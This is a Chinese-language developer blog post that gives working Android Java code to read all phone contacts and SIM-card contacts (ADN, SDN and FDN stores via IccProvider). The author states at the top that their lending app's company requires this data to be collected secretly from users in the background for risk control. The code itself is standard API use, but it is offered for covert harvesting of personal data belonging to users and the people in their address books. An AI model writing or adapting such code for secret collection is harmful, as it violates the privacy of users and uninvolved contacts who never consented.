最近公司做的一個放貸APP,要求后台偷偷獲取用戶的聯系人來做風控,所以。。。(大家忽略就好)
- 獲取手機聯系人很簡單,就是查詢android的數據庫,用到的是ContentProvider進行跨進程通訊。我就直接上代碼了
-
-
public List<ContactsResultBean.ContactsBean> getContactInfo() throws JSONException { list = new ArrayList<>(); contactData = new JSONObject(); //聯系人的Uri,也就是content://com.android.contacts/contacts Uri uri = ContactsContract.Contacts.CONTENT_URI; //指定獲取_id和display_name兩列數據,display_name即為姓名 String[] projection = new String[]{ ContactsContract.Contacts._ID, ContactsContract.Contacts.DISPLAY_NAME }; //根據Uri查詢相應的ContentProvider,cursor為獲取到的數據集 Cursor cursor = context.getContentResolver(). query(uri, projection, null, null, null); int i = 0; if (cursor != null && cursor.moveToFirst()) { do { Long id = cursor.getLong(0); //獲取姓名 String name = cursor.getString(1); //指定獲取NUMBER這一列數據 String[] phoneProjection = new String[]{ ContactsContract.CommonDataKinds.Phone.NUMBER }; //根據聯系人的ID獲取此人的電話號碼 Cursor phonesCusor = context.getContentResolver().query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, phoneProjection, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + id, null, null); //因為每個聯系人可能有多個電話號碼,所以需要遍歷 if (phonesCusor != null && phonesCusor.moveToFirst()) { do { String num = phonesCusor.getString(0); contactsBean = new ContactsResultBean.ContactsBean(); contactsBean.setName(name); contactsBean.setPhone(num); contactsBean.setNote(""); list.add(contactsBean); jsonObject = new JSONObject(); contactData.put("contact" + i, jsonObject); } while (phonesCusor.moveToNext()); } i++; } while (cursor.moveToNext()); } // 獲取sim卡的聯系人--1 try { getSimContact("content://icc/adn", list); getSimContact("content://icc/adn/subId/#", list); getSimContact("content://icc/sdn", list); getSimContact("content://icc/sdn/subId/#", list); getSimContact("content://icc/fdn", list); getSimContact("content://icc/fdn/subId/#", list); } catch (Exception e) { Log.d("提現啦:", e.getLocalizedMessage()); } return list; }
-
2、查詢Sim上的聯系其實也很簡單,也是掃描android數據庫里面存的值,也是通過ContentProvider,但是因為涉及到有的手機可能是雙卡雙待,還有移動、電信、聯通這三種手機卡,所以可能就有問題了。
這里我知道android framework本身提供了一個這樣的provider(IccProvider.java),所以我們就按照google的來吧。使用ContentProvider最重要的就是路由要准確,所以我們先來看看IccProvider里面給我提供的路由。
-
- 先來看看IccProvider給我們提供的路由。
同樣也是返回給我們游標,我們自己從游標里面取值。
下面是游標取值的代碼
private void getSimContact(String adn, List<ContactsResultBean.ContactsBean> list) { // 讀取SIM卡手機號,有三種可能:content://icc/adn || content://icc/sdn || content://icc/fdn // 具體查看類 IccProvider.java Cursor cursor = null; try { Uri uri = Uri.parse(adn); LogUtils.e(uri.toString()); cursor = context.getContentResolver().query(uri, null, null, null, null); if (cursor != null) { while (cursor.moveToNext()) { // 取得聯系人名字 int nameIndex = cursor.getColumnIndex("name"); // 取得電話號碼 int numberIndex = cursor.getColumnIndex("number"); String number = cursor.getString(numberIndex);// 手機號 LogUtils.d("手機號:" + number); if (isUserNumber(number)) {// 是否是手機號碼 ContactsResultBean.ContactsBean simCardTemp = new ContactsResultBean.ContactsBean(); simCardTemp.setPhone(formatMobileNumber(number)); simCardTemp.setName(cursor.getString(nameIndex)); if (!list.contains(simCardTemp)) { list.add(simCardTemp); } } } cursor.close(); } } catch (Exception e) { LogUtils.e(e); if (cursor != null) { cursor.close(); } } }
經過測試時可以去到sim卡上的聯系人的